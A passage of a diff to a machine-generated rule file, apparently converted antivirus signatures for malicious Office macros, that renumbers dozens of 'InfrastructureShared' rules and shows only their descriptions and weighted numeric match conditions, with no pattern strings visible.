1)*27749+(#a_6f_6 & 1)*11823+(#a_90_7 & 1)*11298+(#a_74_8 & 1)*28206+(#a_4d_9 & 1)*8448+(#a_20_10 & 1)*28021+(#a_40_11 & 1)*-28621+(#a_02_12 & 1)*24384+(#a_4d_14 & 1)*8448+(#a_02_15 & 1)*28014) >=1 } -rule _InfrastructureShared_24123{ +rule _InfrastructureShared_25411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 04 00 21 " @@ -314309,7 +330829,7 @@ rule _InfrastructureShared_24123{ ((#a_53_0 & 1)*19747+(#a_2f_1 & 1)*-28625+(#a_3f_2 & 1)*-28563) >=2 } -rule _InfrastructureShared_24124{ +rule _InfrastructureShared_25412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -314321,7 +330841,7 @@ rule _InfrastructureShared_24124{ ((#a_53_0 & 1)*19747+(#a_3d_1 & 1)*17666+(#a_20_2 & 1)*8226) >=3 } -rule _InfrastructureShared_24125{ +rule _InfrastructureShared_25413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -314335,7 +330855,7 @@ rule _InfrastructureShared_24125{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_43_2 & 1)*11011+(#a_20_3 & 1)*-28631+(#a_20_4 & 1)*656) >=5 } -rule _InfrastructureShared_24126{ +rule _InfrastructureShared_25414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 05 00 21 " @@ -314348,7 +330868,7 @@ rule _InfrastructureShared_24126{ ((#a_46_0 & 1)*16675+(#a_28_1 & 1)*25964+(#a_2e_2 & 1)*30064+(#a_00_3 & 1)*11663) >=7 } -rule _InfrastructureShared_24127{ +rule _InfrastructureShared_25415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -314364,7 +330884,7 @@ rule _InfrastructureShared_24127{ ((#a_53_0 & 1)*19747+(#a_66_1 & 1)*26216+(#a_22_2 & 1)*8736+(#a_22_3 & 1)*8738+(#a_22_4 & 1)*11040+(#a_00_5 & 1)*3+(#a_52_6 & 1)*21320) >=7 } -rule _InfrastructureShared_24128{ +rule _InfrastructureShared_25416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -314376,7 +330896,7 @@ rule _InfrastructureShared_24128{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_4d_2 & 1)*15619) >=3 } -rule _InfrastructureShared_24129{ +rule _InfrastructureShared_25417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314389,7 +330909,7 @@ rule _InfrastructureShared_24129{ ((#a_54_0 & 1)*18467+(#a_29_1 & 1)*12337+(#a_68_2 & 1)*9760+(#a_67_3 & 1)*8230) >=4 } -rule _InfrastructureShared_24130{ +rule _InfrastructureShared_25418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 05 00 21 " @@ -314403,7 +330923,7 @@ rule _InfrastructureShared_24130{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*10356+(#a_6f_2 & 1)*8291+(#a_6e_3 & 1)*29472+(#a_6e_4 & 1)*25705) >=4 } -rule _InfrastructureShared_24131{ +rule _InfrastructureShared_25419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -314415,7 +330935,7 @@ rule _InfrastructureShared_24131{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*11824+(#a_74_3 & 1)*25940) >=6 } -rule _InfrastructureShared_24132{ +rule _InfrastructureShared_25420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -314426,7 +330946,7 @@ rule _InfrastructureShared_24132{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8236) >=2 } -rule _InfrastructureShared_24133{ +rule _InfrastructureShared_25421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -314438,7 +330958,7 @@ rule _InfrastructureShared_24133{ ((#a_53_0 & 1)*19747+(#a_38_1 & 1)*13106+(#a_32_2 & 1)*14904) >=3 } -rule _InfrastructureShared_24134{ +rule _InfrastructureShared_25422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314450,7 +330970,7 @@ rule _InfrastructureShared_24134{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656+(#a_73_3 & 1)*9728) >=4 } -rule _InfrastructureShared_24135{ +rule _InfrastructureShared_25423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314463,7 +330983,7 @@ rule _InfrastructureShared_24135{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*28269+(#a_75_2 & 1)*25938+(#a_2e_3 & 1)*25972) >=4 } -rule _InfrastructureShared_24136{ +rule _InfrastructureShared_25424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -314475,7 +330995,7 @@ rule _InfrastructureShared_24136{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*29441+(#a_62_2 & 1)*656) >=1 } -rule _InfrastructureShared_24137{ +rule _InfrastructureShared_25425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 13 00 21 " @@ -314503,7 +331023,7 @@ rule _InfrastructureShared_24137{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_02_7 & 1)*1+(#a_02_8 & 1)*1+(#a_02_9 & 1)*1+(#a_02_10 & 1)*1+(#a_02_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_30_16 & 1)*0+(#a_54_17 & 1)*18210+(#a_3d_18 & 1)*25971) >=1 } -rule _InfrastructureShared_24138{ +rule _InfrastructureShared_25426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314516,7 +331036,7 @@ rule _InfrastructureShared_24138{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*810+(#a_26_2 & 1)*283+(#a_73_3 & 1)*9762) >=4 } -rule _InfrastructureShared_24139{ +rule _InfrastructureShared_25427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -314530,7 +331050,7 @@ rule _InfrastructureShared_24139{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*10340+(#a_64_2 & 1)*20343+(#a_73_3 & 1)*29812+(#a_71_4 & 1)*8236) >=5 } -rule _InfrastructureShared_24140{ +rule _InfrastructureShared_25428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -314542,7 +331062,7 @@ rule _InfrastructureShared_24140{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*29740+(#a_20_2 & 1)*26479) >=3 } -rule _InfrastructureShared_24141{ +rule _InfrastructureShared_25429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -314554,7 +331074,7 @@ rule _InfrastructureShared_24141{ ((#a_53_0 & 1)*19747+(#a_41_1 & 1)*11369+(#a_90_2 & 1)*11040) >=3 } -rule _InfrastructureShared_24142{ +rule _InfrastructureShared_25430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314567,7 +331087,7 @@ rule _InfrastructureShared_24142{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_00_2 & 1)*10499+(#a_20_3 & 1)*8226) >=4 } -rule _InfrastructureShared_24143{ +rule _InfrastructureShared_25431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314580,7 +331100,7 @@ rule _InfrastructureShared_24143{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_64_2 & 1)*8253+(#a_00_3 & 1)*21581) >=4 } -rule _InfrastructureShared_24144{ +rule _InfrastructureShared_25432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -314594,7 +331114,7 @@ rule _InfrastructureShared_24144{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*2573+(#a_6e_2 & 1)*796+(#a_5c_3 & 1)*8230+(#a_00_4 & 1)*14388) >=5 } -rule _InfrastructureShared_24145{ +rule _InfrastructureShared_25433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -314611,7 +331131,7 @@ rule _InfrastructureShared_24145{ ((#a_53_0 & 1)*19747+(#a_50_1 & 1)*20563+(#a_20_2 & 1)*28526+(#a_72_3 & 1)*30318+(#a_68_4 & 1)*268+(#a_83_5 & 1)*31052+(#a_52_6 & 1)*21320+(#a_65_7 & 1)*656) >=8 } -rule _InfrastructureShared_24146{ +rule _InfrastructureShared_25434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 10 00 21 " @@ -314634,7 +331154,7 @@ rule _InfrastructureShared_24146{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*26741+(#a_7e_3 & 1)*32001+(#a_4d_4 & 1)*29797+(#a_20_5 & 1)*8194+(#a_02_6 & 1)*29472+(#a_00_7 & 1)*10356+(#a_30_8 & 1)*12559+(#a_02_9 & 1)*10511+(#a_0f_10 & 1)*-28561+(#a_01_12 & 1)*-28928+(#a_70_13 & 1)*12146+(#a_6e_14 & 1)*13637+(#a_7a_15 & 1)*17730) >=1 } -rule _InfrastructureShared_24147{ +rule _InfrastructureShared_25435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -314648,7 +331168,7 @@ rule _InfrastructureShared_24147{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_28_2 & 1)*11040+(#a_20_3 & 1)*28521+(#a_0f_4 & 1)*-28618) >=5 } -rule _InfrastructureShared_24148{ +rule _InfrastructureShared_25436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -314662,7 +331182,7 @@ rule _InfrastructureShared_24148{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*12593+(#a_02_2 & 1)*15631+(#a_68_3 & 1)*12147+(#a_68_4 & 1)*14456) >=1 } -rule _InfrastructureShared_24149{ +rule _InfrastructureShared_25437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -314673,7 +331193,7 @@ rule _InfrastructureShared_24149{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*25423) >=2 } -rule _InfrastructureShared_24150{ +rule _InfrastructureShared_25438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -314685,7 +331205,7 @@ rule _InfrastructureShared_24150{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*25960+(#a_61_2 & 1)*25973) >=3 } -rule _InfrastructureShared_24151{ +rule _InfrastructureShared_25439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 05 00 21 " @@ -314699,7 +331219,7 @@ rule _InfrastructureShared_24151{ ((#a_53_0 & 1)*19747+(#a_30_1 & 1)*12846+(#a_3a_2 & 1)*1026+(#a_22_3 & 1)*9760+(#a_43_4 & 1)*9760) >=4 } -rule _InfrastructureShared_24152{ +rule _InfrastructureShared_25440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -314714,7 +331234,7 @@ rule _InfrastructureShared_24152{ ((#a_53_0 & 1)*19747+(#a_62_1 & 1)*29295+(#a_42_2 & 1)*28257+(#a_29_3 & 1)*28020+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1) >=6 } -rule _InfrastructureShared_24153{ +rule _InfrastructureShared_25441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -314726,7 +331246,7 @@ rule _InfrastructureShared_24153{ ((#a_53_0 & 1)*19747+(#a_75_1 & 1)*25924+(#a_02_2 & 1)*8253) >=3 } -rule _InfrastructureShared_24154{ +rule _InfrastructureShared_25442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314739,7 +331259,7 @@ rule _InfrastructureShared_24154{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_20_2 & 1)*-28640+(#a_20_3 & 1)*656) >=4 } -rule _InfrastructureShared_24155{ +rule _InfrastructureShared_25443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -314751,7 +331271,7 @@ rule _InfrastructureShared_24155{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8236+(#a_02_2 & 1)*8235) >=3 } -rule _InfrastructureShared_24156{ +rule _InfrastructureShared_25444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -314765,7 +331285,7 @@ rule _InfrastructureShared_24156{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*25385+(#a_20_2 & 1)*8226+(#a_28_3 & 1)*10537+(#a_72_4 & 1)*11779) >=5 } -rule _InfrastructureShared_24157{ +rule _InfrastructureShared_25445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -314781,7 +331301,7 @@ rule _InfrastructureShared_24157{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*27745+(#a_30_2 & 1)*10322+(#a_6c_3 & 1)*11616+(#a_6e_5 & 1)*20993+(#a_00_6 & 1)*29298+(#a_65_7 & 1)*21249) >=8 } -rule _InfrastructureShared_24158{ +rule _InfrastructureShared_25446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -314798,7 +331318,7 @@ rule _InfrastructureShared_24158{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8226+(#a_65_2 & 1)*21249+(#a_6b_3 & 1)*25960+(#a_00_4 & 1)*66+(#a_20_5 & 1)*8195+(#a_20_6 & 1)*29754+(#a_20_7 & 1)*28265) >=8 } -rule _InfrastructureShared_24159{ +rule _InfrastructureShared_25447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -314809,7 +331329,7 @@ rule _InfrastructureShared_24159{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*11365) >=2 } -rule _InfrastructureShared_24160{ +rule _InfrastructureShared_25448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314822,7 +331342,7 @@ rule _InfrastructureShared_24160{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_6f_2 & 1)*29443+(#a_90_3 & 1)*30821) >=4 } -rule _InfrastructureShared_24161{ +rule _InfrastructureShared_25449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 05 00 21 " @@ -314836,7 +331356,7 @@ rule _InfrastructureShared_24161{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*25961+(#a_69_2 & 1)*9760+(#a_75_3 & 1)*11886+(#a_52_4 & 1)*21320) >=6 } -rule _InfrastructureShared_24162{ +rule _InfrastructureShared_25450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -314852,7 +331372,7 @@ rule _InfrastructureShared_24162{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*15674+(#a_26_2 & 1)*26144+(#a_20_3 & 1)*24435+(#a_54_4 & 1)*18509+(#a_63_5 & 1)*27234+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_24163{ +rule _InfrastructureShared_25451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -314868,7 +331388,7 @@ rule _InfrastructureShared_24163{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*10354+(#a_63_2 & 1)*17475+(#a_64_3 & 1)*28524+(#a_43_4 & 1)*10546+(#a_74_5 & 1)*25960+(#a_6d_6 & 1)*26625) >=7 } -rule _InfrastructureShared_24164{ +rule _InfrastructureShared_25452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -314885,7 +331405,7 @@ rule _InfrastructureShared_24164{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*26988+(#a_29_2 & 1)*27765+(#a_20_3 & 1)*8226+(#a_00_4 & 1)*66+(#a_26_5 & 1)*26627+(#a_6d_6 & 1)*9762+(#a_22_7 & 1)*11792) >=8 } -rule _InfrastructureShared_24165{ +rule _InfrastructureShared_25453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -314900,7 +331420,7 @@ rule _InfrastructureShared_24165{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*9762+(#a_00_2 & 1)*144+(#a_26_3 & 1)*26627+(#a_22_4 & 1)*8813+(#a_6c_5 & 1)*8742) >=1 } -rule _InfrastructureShared_24166{ +rule _InfrastructureShared_25454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314913,7 +331433,7 @@ rule _InfrastructureShared_24166{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*1538+(#a_70_2 & 1)*21024+(#a_75_3 & 1)*25710) >=4 } -rule _InfrastructureShared_24167{ +rule _InfrastructureShared_25455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314926,7 +331446,7 @@ rule _InfrastructureShared_24167{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*29481+(#a_22_2 & 1)*8738+(#a_65_3 & 1)*11782) >=4 } -rule _InfrastructureShared_24168{ +rule _InfrastructureShared_25456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -314941,7 +331461,7 @@ rule _InfrastructureShared_24168{ ((#a_6c_0 & 1)*16675+(#a_22_1 & 1)*3072+(#a_4e_2 & 1)*19801+(#a_78_3 & 1)*26144+(#a_01_4 & 1)*-28928+(#a_72_5 & 1)*26469) >=6 } -rule _InfrastructureShared_24169{ +rule _InfrastructureShared_25457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -314955,7 +331475,7 @@ rule _InfrastructureShared_24169{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*8233+(#a_28_2 & 1)*25932+(#a_28_3 & 1)*8306+(#a_6e_4 & 1)*29269) >=6 } -rule _InfrastructureShared_24170{ +rule _InfrastructureShared_25458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -314971,7 +331491,7 @@ rule _InfrastructureShared_24170{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*28277+(#a_29_2 & 1)*10537+(#a_63_3 & 1)*30022+(#a_00_4 & 1)*-28632+(#a_4c_5 & 1)*8993+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_24171{ +rule _InfrastructureShared_25459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -314984,7 +331504,7 @@ rule _InfrastructureShared_24171{ ((#a_46_0 & 1)*16675+(#a_38_1 & 1)*10341+(#a_64_2 & 1)*14446+(#a_71_3 & 1)*14437) >=4 } -rule _InfrastructureShared_24172{ +rule _InfrastructureShared_25460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -314999,7 +331519,7 @@ rule _InfrastructureShared_24172{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*28265+(#a_45_2 & 1)*28239+(#a_00_3 & 1)*144+(#a_4a_4 & 1)*15619+(#a_01_5 & 1)*-28928) >=6 } -rule _InfrastructureShared_24173{ +rule _InfrastructureShared_25461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -315009,7 +331529,7 @@ rule _InfrastructureShared_24173{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_24174{ +rule _InfrastructureShared_25462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -315022,7 +331542,7 @@ rule _InfrastructureShared_24174{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29537+(#a_41_2 & 1)*22887+(#a_53_3 & 1)*8296) >=4 } -rule _InfrastructureShared_24175{ +rule _InfrastructureShared_25463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315036,7 +331556,7 @@ rule _InfrastructureShared_24175{ ((#a_53_0 & 1)*19747+(#a_4b_1 & 1)*10281+(#a_22_2 & 1)*11040+(#a_31_3 & 1)*27944+(#a_3a_4 & 1)*25956) >=5 } -rule _InfrastructureShared_24176{ +rule _InfrastructureShared_25464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -315051,7 +331571,7 @@ rule _InfrastructureShared_24176{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*25396+(#a_65_2 & 1)*8244+(#a_20_3 & 1)*13856+(#a_2e_4 & 1)*8448+(#a_22_5 & 1)*28261) >=6 } -rule _InfrastructureShared_24177{ +rule _InfrastructureShared_25465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -315063,7 +331583,7 @@ rule _InfrastructureShared_24177{ ((#a_53_0 & 1)*19747+(#a_37_1 & 1)*12854+(#a_33_2 & 1)*13874) >=3 } -rule _InfrastructureShared_24178{ +rule _InfrastructureShared_25466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -315075,7 +331595,7 @@ rule _InfrastructureShared_24178{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*16712+(#a_45_2 & 1)*17772) >=3 } -rule _InfrastructureShared_24179{ +rule _InfrastructureShared_25467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -315088,7 +331608,7 @@ rule _InfrastructureShared_24179{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*8299+(#a_22_2 & 1)*11298+(#a_01_3 & 1)*8814) >=4 } -rule _InfrastructureShared_24180{ +rule _InfrastructureShared_25468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -315102,7 +331622,7 @@ rule _InfrastructureShared_24180{ ((#a_53_0 & 1)*19747+(#a_53_1 & 1)*14336+(#a_28_2 & 1)*29797+(#a_28_3 & 1)*29797+(#a_54_4 & 1)*17996) >=1 } -rule _InfrastructureShared_24181{ +rule _InfrastructureShared_25469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -315115,7 +331635,7 @@ rule _InfrastructureShared_24181{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25940+(#a_64_2 & 1)*30068+(#a_54_3 & 1)*21076) >=4 } -rule _InfrastructureShared_24182{ +rule _InfrastructureShared_25470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -315127,7 +331647,7 @@ rule _InfrastructureShared_24182{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8250+(#a_64_2 & 1)*24946) >=3 } -rule _InfrastructureShared_24183{ +rule _InfrastructureShared_25471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -315140,7 +331660,7 @@ rule _InfrastructureShared_24183{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*8253+(#a_6c_2 & 1)*8736+(#a_29_3 & 1)*30030) >=4 } -rule _InfrastructureShared_24184{ +rule _InfrastructureShared_25472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -315151,7 +331671,7 @@ rule _InfrastructureShared_24184{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*29740) >=2 } -rule _InfrastructureShared_24185{ +rule _InfrastructureShared_25473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -315163,7 +331683,7 @@ rule _InfrastructureShared_24185{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_74_2 & 1)*18208) >=3 } -rule _InfrastructureShared_24186{ +rule _InfrastructureShared_25474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 07 00 21 " @@ -315178,7 +331698,7 @@ rule _InfrastructureShared_24186{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*28233+(#a_3d_3 & 1)*6656+(#a_90_4 & 1)*25710+(#a_20_5 & 1)*11568+(#a_00_6 & 1)*3) >=1 } -rule _InfrastructureShared_24187{ +rule _InfrastructureShared_25475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -315191,7 +331711,7 @@ rule _InfrastructureShared_24187{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24918+(#a_72_2 & 1)*26740+(#a_31_3 & 1)*25710) >=3 } -rule _InfrastructureShared_24188{ +rule _InfrastructureShared_25476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315205,7 +331725,7 @@ rule _InfrastructureShared_24188{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_20_2 & 1)*28530+(#a_00_3 & 1)*66+(#a_28_4 & 1)*8705) >=5 } -rule _InfrastructureShared_24189{ +rule _InfrastructureShared_25477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315219,7 +331739,7 @@ rule _InfrastructureShared_24189{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*10611+(#a_4e_2 & 1)*10536+(#a_28_3 & 1)*10281+(#a_20_4 & 1)*-28640) >=5 } -rule _InfrastructureShared_24190{ +rule _InfrastructureShared_25478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -315238,7 +331758,7 @@ rule _InfrastructureShared_24190{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*8236+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_03_9 & 1)*1) >=10 } -rule _InfrastructureShared_24191{ +rule _InfrastructureShared_25479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0b 00 0b 00 08 00 21 " @@ -315254,7 +331774,7 @@ rule _InfrastructureShared_24191{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*25709+(#a_69_3 & 1)*25665+(#a_6e_4 & 1)*28274+(#a_77_5 & 1)*14131+(#a_37_6 & 1)*12854+(#a_2b_7 & 1)*9474) >=11 } -rule _InfrastructureShared_24192{ +rule _InfrastructureShared_25480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -315265,7 +331785,7 @@ rule _InfrastructureShared_24192{ ((#a_53_0 & 1)*19747+(#a_37_1 & 1)*12854) >=2 } -rule _InfrastructureShared_24193{ +rule _InfrastructureShared_25481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -315277,7 +331797,7 @@ rule _InfrastructureShared_24193{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*29740+(#a_20_2 & 1)*26479) >=3 } -rule _InfrastructureShared_24194{ +rule _InfrastructureShared_25482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315291,7 +331811,7 @@ rule _InfrastructureShared_24194{ ((#a_53_0 & 